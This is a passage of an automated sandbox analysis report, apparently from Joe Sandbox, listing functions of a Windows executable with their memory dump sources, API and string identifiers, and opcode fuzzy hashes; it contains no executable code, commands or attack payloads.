                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Rect$Client$Window$MetricsScreenSystem
                                                            • String ID:
                                                            • API String ID: 3220332590-0
                                                            • Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                            • Instruction ID: fe59e8631a92f8f22b51adab127dfeccc16a17a7810604fb694d2648391bcc33
                                                            • Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                            • Instruction Fuzzy Hash: 66A1E2AAA1928396EB348F7584047BD73A1FF45B58F141135EE9D97A98FE3D9800E320
                                                            Function 00007FF69DB5A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: f$p
                                                            • API String ID: 3215553584-1290815066
                                                            • Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
                                                            • Instruction ID: ae374ffc5334115c97f20f1ad048ba9f97709ca0c99c4d317fb8c626c24f7821
                                                            • Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
                                                            • Instruction Fuzzy Hash: 08129FA2E1C25386FB309A14E04477A7661EB42B58F984272D6D9F76CCEF3DF5818B04
                                                            Function 00007FF69DB9AD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Variant$ClearCopy$AllocInitString
                                                            • String ID:
                                                            • API String ID: 3859894641-0
                                                            • Opcode ID: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
                                                            • Instruction ID: 1134644f8d4dc7e4870082b1845e25eb310d235928724de8433a3919f2d30c2a
                                                            • Opcode Fuzzy Hash: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
                                                            • Instruction Fuzzy Hash: 97716EB9D0868282EE749F25955427C66A0FF66B88F6440B6D7CED779DFF2CE8118300
                                                            Function 00007FF69DBAD1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
                                                            • String ID:
                                                            • API String ID: 564229958-0
                                                            • Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                            • Instruction ID: 082b4ebd5348c4091cc195faa37cd6508d014476d51916b308ddb3fd71a6895b
                                                            • Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                            • Instruction Fuzzy Hash: A25154A2A1878296EB30DF60D4402ED63A5FF91B94F800172E68D9769DFFA8E745C740
                                                            Function 00007FF69DB3D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: %.15g$0x%p$False$True
                                                            • API String ID: 0-2263619337
                                                            • Opcode ID: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
                                                            • Instruction ID: 23c891982216589f16a76caea8f250e2729a4fe9d8ea7e7bc22f749971575671
                                                            • Opcode Fuzzy Hash: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
                                                            • Instruction Fuzzy Hash: A851C4B2B0AA0686EF30DF69D0401BC73A5EB46B88F548171DA8EC779DEE39E505C340
                                                            Function 00007FF69DB31E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                            • String ID:
                                                            • API String ID: 2592858361-0
                                                            • Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
                                                            • Instruction ID: 5c9f4f10862e836b3fb4092e5f2018cc078ff680c566e11eea056d8496d05b72
                                                            • Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
                                                            • Instruction Fuzzy Hash: C951D1B2A0868286E730CB15D44477977A4FB46FD4F1042B5CADD87B98EF3DE4029700
                                                            Function 00007FF69DBC4C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
                                                            • String ID:
                                                            • API String ID: 383626216-0
                                                            • Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
                                                            • Instruction ID: cc43b288cabeee54f4eb375a248025190ad2063123e6579fd24e48a15dde49a4
                                                            • Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
                                                            • Instruction Fuzzy Hash: 6F31B273B046528BE724CF75D440BAC37A1FB99748F400275EE8A93A88EF38E949C740
                                                            Function 00007FF69DB61E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 2082702847-0
                                                            • Opcode ID: 61ceddc5787947a58d9fe000786d9d3995f6ca174d30162394f7b26a0e686deb
                                                            • Instruction ID: 1684ee54c712391f2e8bd840206d9d58bbe2f77593b17ecde191511f685f87a4
                                                            • Opcode Fuzzy Hash: 61ceddc5787947a58d9fe000786d9d3995f6ca174d30162394f7b26a0e686deb
                                                            • Instruction Fuzzy Hash: EE219DA1A09B4281EE349B71A41427C72E0EF56BB4F8407B4DABD837D9FF3CE4148240
                                                            Function 00007FF69DBE09FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                            • String ID:
                                                            • API String ID: 43455801-0
                                                            • Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
                                                            • Instruction ID: 5daa78cf6eb4413e00eda6582428859bdc2ba2b2bf5c464a529e6d28a2aefe9c
                                                            • Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
                                                            • Instruction Fuzzy Hash: 0C11E371B1428282E7248B16B904B787BA0EF96B94F4851B5CF8683B58EF7DE445C780
                                                            Function 00007FF69DB52D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Virtual
                                                            • String ID:
                                                            • API String ID: 4278518827-0
                                                            • Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
                                                            • Instruction ID: 8cf6a6475cab452bc5ceb2c845dcc5c9cc5e4fc0e9324c55a287bbd8daa53bec
                                                            • Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
                                                            • Instruction Fuzzy Hash: 061152729056808AD358CF3ADC485293BF2FB69B08B54C0B4C2498F265FF39D49AC750
                                                            Function 00007FF69DBADA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                            • String ID:
                                                            • API String ID: 839392675-0
                                                            • Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
                                                            • Instruction ID: 90c291739c382ff45cbaf64a81f380e83593a0f629b0c54f87b7e9b0aa8c30e3
                                                            • Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
                                                            • Instruction Fuzzy Hash: 3301A7B2B1474183EB20DB12E814A3973A1FFDAB95F445174CA8A47B18EF7CD058CB50
                                                            Function 00007FF69DB9F378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                            • String ID:
                                                            • API String ID: 179993514-0
                                                            • Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                            • Instruction ID: bd1d1ba9d4b58f9862946f438c1f7066df7ee37d78879f2050ef3283dde2fb34
                                                            • Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                            • Instruction Fuzzy Hash: C8F0A4A0F18B5143F7704B71A848A3963D2FF9D744F8440F4D98E83B58EE3CD0949650
                                                            Function 00007FF69DB9D868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                            • String ID:
                                                            • API String ID: 146765662-0
                                                            • Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                            • Instruction ID: 0bcac69a1a3aed59dc313b23230548d0f06653e708e468e8db1e802776853111
                                                            • Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                            • Instruction Fuzzy Hash: A8F0ACA5A18A0182EB14DF76D85403963A1EF99FA5B0451B1CD5E87368EE3CD4D98350
                                                            Function 00007FF69DBC7E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
                                                            • String ID: NULL Pointer assignment
                                                            • API String ID: 1653399731-2785691316
                                                            • Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
                                                            • Instruction ID: 0041ff77147ae4782d43f521c4d4997839f9aa3ad008bd559b103032f6490072
                                                            • Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
                                                            • Instruction Fuzzy Hash: 69B16FB6A04B418AEB20DF65D4801AD77B0FB89798F500179EE8D97B5CEF38E545C740
                                                            Function 00007FF69DBCCDF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CharLowerBuffW.USER32(?,?,?,?,00000003,00000000,?,00007FF69DBCBF47), ref: 00007FF69DBCCE29
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BuffCharLower
                                                            • String ID: cdecl$none$stdcall$winapi
                                                            • API String ID: 2358735015-567219261
                                                            • Opcode ID: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
                                                            • Instruction ID: e4ec83aa799d1c1215143569b5096f3f9437e32abd44800d25d6c656834d45df
                                                            • Opcode Fuzzy Hash: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
                                                            • Instruction Fuzzy Hash: A391BDA6F1965382EE748B3EC4505B963A4FB26780B504175DAADD3B88FF3DE852C300
                                                            Function 00007FF69DBA0EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetForegroundWindow.USER32 ref: 00007FF69DBA0EDB
                                                              • Part of subcall function 00007FF69DBA0B90: CharUpperBuffW.USER32(?,?,00000001,00007FF69DBA0F61), ref: 00007FF69DBA0C6A
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BuffCharForegroundUpperWindow
                                                            • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                                            • API String ID: 3570115564-1994484594
                                                            • Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
                                                            • Instruction ID: e127abd66e67c339a550aba6e1a83088bac0e6b442a0d8b4fab0696f5be938cd
                                                            • Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
                                                            • Instruction Fuzzy Hash: A271DE92F09A4282EEB48B65D9012B962E1EF567E4F8440B5CACED62CCFF3CE545C300
                                                            Function 00007FF69DBA9898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BuffCharUpper
                                                            • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                            • API String ID: 3964851224-769500911
                                                            • Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                            • Instruction ID: 495527e255f0f38a272f6387a41994c89dc7aa8df92539285242a04a98f5cdd3
                                                            • Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                            • Instruction Fuzzy Hash: CC41F7A2F19A5381EE704F26C445179A2D5EB66BE0B940671CADDC37DCFE3DE8469300
                                                            Function 00007FF69DB69B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: #$E$O
                                                            • API String ID: 3215553584-248080428
                                                            • Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
                                                            • Instruction ID: f486ebf3807aba4d4a0f05d6ebf8378732ce10db622254bd247a076f5cc00b50
                                                            • Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
                                                            • Instruction Fuzzy Hash: 254169A2A19B5185EF618F2198402AD33E4FF56BA8F984171EE9D8779DEF3CE4518300
